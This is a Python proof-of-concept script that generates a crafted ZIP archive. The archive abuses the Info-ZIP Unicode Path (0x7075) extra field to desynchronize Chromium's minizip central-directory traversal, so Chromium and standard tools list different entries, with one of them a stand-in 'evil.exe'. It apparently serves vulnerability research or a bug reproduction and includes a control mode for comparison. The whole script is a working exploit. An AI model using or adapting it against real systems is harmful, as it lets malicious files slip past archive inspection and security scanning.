#!/usr/bin/env python3
"""
Generate a ZIP archive that desynchronizes Chromium's patched minizip
central-directory traversal via the 0x7075 (Info-ZIP Unicode Path) extra
field.

Layout:
  Local file area:
    LFH_A  (filename len = UNICODE_LEN to satisfy unzOpenCurrentFile cross-check)
    LFH_B  ("evil.exe", payload "MALWARE")
    LFH_C  ("readme.txt", payload "benign")
  Central directory:
    CD_A   physical filename = "x" (1 byte), extra = 0x7075 record whose
           UnicodeName is UNICODE_LEN bytes long.  Chromium overwrites
           size_filename := UNICODE_LEN.
    CD_B   "evil.exe" -> LFH_B.   Padded with comment so that
           sizeof(CD_B) == UNICODE_LEN - 1.
    CD_C   "readme.txt" -> LFH_C. Sits exactly at the overshoot offset.
  EOCD     number_entry = 2.

Chromium iteration:  CD_A -> (overshoot by UNICODE_LEN-1) -> CD_C -> EOF.
Standard iteration:  CD_A -> CD_B -> stop (number_entry == 2).
"""
import struct
import zlib
import sys

OUT = sys.argv[1] if len(sys.argv) > 1 else "desync.zip"

# ---------------------------------------------------------------------------
# Tunables
# ---------------------------------------------------------------------------
PHYS_NAME_A = b"x"                       # 1-byte physical filename in CD_A
UNICODE_LEN = 60                          # length of UnicodeName inside 0x7075
UNICODE_NAME_A = b"a" * UNICODE_LEN       # what Chromium will report as the name
NAME_B = b"evil.exe"
NAME_C = b"readme.txt"
DATA_A = b""                              # empty
DATA_B = b"MALWARE"                       # stand-in payload
DATA_C = b"benign"

assert len(PHYS_NAME_A) == 1

# CD_B must be exactly (UNICODE_LEN - len(PHYS_NAME_A)) bytes so that
# Chromium's overshoot lands precisely on CD_C.
CD_B_TARGET = UNICODE_LEN - len(PHYS_NAME_A)          # 59
CD_B_FIXED  = 46 + len(NAME_B) + 0                    # 46 hdr + 8 name + 0 extra
COMMENT_B_LEN = CD_B_TARGET - CD_B_FIXED              # 5
assert COMMENT_B_LEN >= 0, "increase UNICODE_LEN"
COMMENT_B = b"P" * COMMENT_B_LEN

# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def lfh(name: bytes, data: bytes, extra: bytes = b"") -> bytes:
    crc = zlib.crc32(data) & 0xFFFFFFFF
    return struct.pack(
        "<IHHHHHIIIHH",
        0x04034B50,      # signature
        20,              # version needed
        0,               # flags
        0,               # method = stored
        0, 0,            # time, date
        crc,
        len(data),       # compressed size
        len(data),       # uncompressed size
        len(name),
        len(extra),
    ) + name + extra + data


def cdh(name: bytes, data: bytes, lfh_off: int,
        extra: bytes = b"", comment: bytes = b"") -> bytes:
    crc = zlib.crc32(data) & 0xFFFFFFFF
    return struct.pack(
        "<IHHHHHHIIIHHHHHII",
        0x02014B50,      # signature
        20,              # version made by
        20,              # version needed
        0,               # flags
        0,               # method
        0, 0,            # time, date
        crc,
        len(data),       # compressed size
        len(data),       # uncompressed size
        len(name),
        len(extra),
        len(comment),
        0,               # disk start
        0,               # internal attrs
        0,               # external attrs
        lfh_off,
    ) + name + extra + comment


def eocd(num: int, cd_off: int, cd_size: int) -> bytes:
    return struct.pack(
        "<IHHHHIIH",
        0x06054B50,
        0, 0,            # disk numbers
        num, num,        # entries on this disk / total
        cd_size,
        cd_off,
        0,               # comment len
    )


def upath_extra(phys_name: bytes, unicode_name: bytes, version: int = 1) -> bytes:
    """Info-ZIP Unicode Path Extra Field (0x7075)."""
    name_crc = zlib.crc32(phys_name) & 0xFFFFFFFF
    payload = struct.pack("<BI", version, name_crc) + unicode_name
    return struct.pack("<HH", 0x7075, len(payload)) + payload


# ---------------------------------------------------------------------------
# Build local file area
# ---------------------------------------------------------------------------
# LFH_A's filename length must equal the *post-override* size_filename so that
# unz64local_CheckCurrentFileCoherencyHeader (unzip.c:1483) passes during
# ExtractCurrentEntry.  Chromium only compares lengths, not content.
lfh_a = lfh(UNICODE_NAME_A, DATA_A)   # 60-byte name
lfh_b = lfh(NAME_B, DATA_B)
lfh_c = lfh(NAME_C, DATA_C)

off_a = 0
off_b = off_a + len(lfh_a)
off_c = off_b + len(lfh_b)
local_area = lfh_a + lfh_b + lfh_c

# ---------------------------------------------------------------------------
# Build central directory
# ---------------------------------------------------------------------------
# Pass --control on the command line to emit a byte-identical archive except
# the 0x7075 version byte is 0, which makes Chromium skip the override
# (unzip.c:1061).  Chrome then iterates A -> B like every other tool.
ctrl = "--control" in sys.argv
extra_a = upath_extra(PHYS_NAME_A, UNICODE_NAME_A, version=0 if ctrl else 1)
cd_a = cdh(PHYS_NAME_A, DATA_A, off_a, extra=extra_a)
cd_b = cdh(NAME_B, DATA_B, off_b, comment=COMMENT_B)
cd_c = cdh(NAME_C, DATA_C, off_c)

assert len(cd_a) == 46 + 1 + len(extra_a), len(cd_a)
assert len(cd_b) == CD_B_TARGET, (len(cd_b), CD_B_TARGET)

cd = cd_a + cd_b + cd_c
cd_off = len(local_area)

blob = local_area + cd + eocd(2, cd_off, len(cd))

with open(OUT, "wb") as f:
    f.write(blob)

print(f"wrote {OUT} ({len(blob)} bytes)")
print(f"  CD_A size = {len(cd_a)}")
print(f"  CD_B size = {len(cd_b)}  (== overshoot {UNICODE_LEN - 1})")
print(f"  CD_C size = {len(cd_c)}")
print(f"  CD_A advance (chromium) = 46 + {UNICODE_LEN} + {len(extra_a)} + 0 = "
      f"{46 + UNICODE_LEN + len(extra_a)}  -> lands at CD_C")
print(f"  CD_A advance (correct)  = 46 + 1 + {len(extra_a)} + 0 = "
      f"{46 + 1 + len(extra_a)}  -> lands at CD_B")
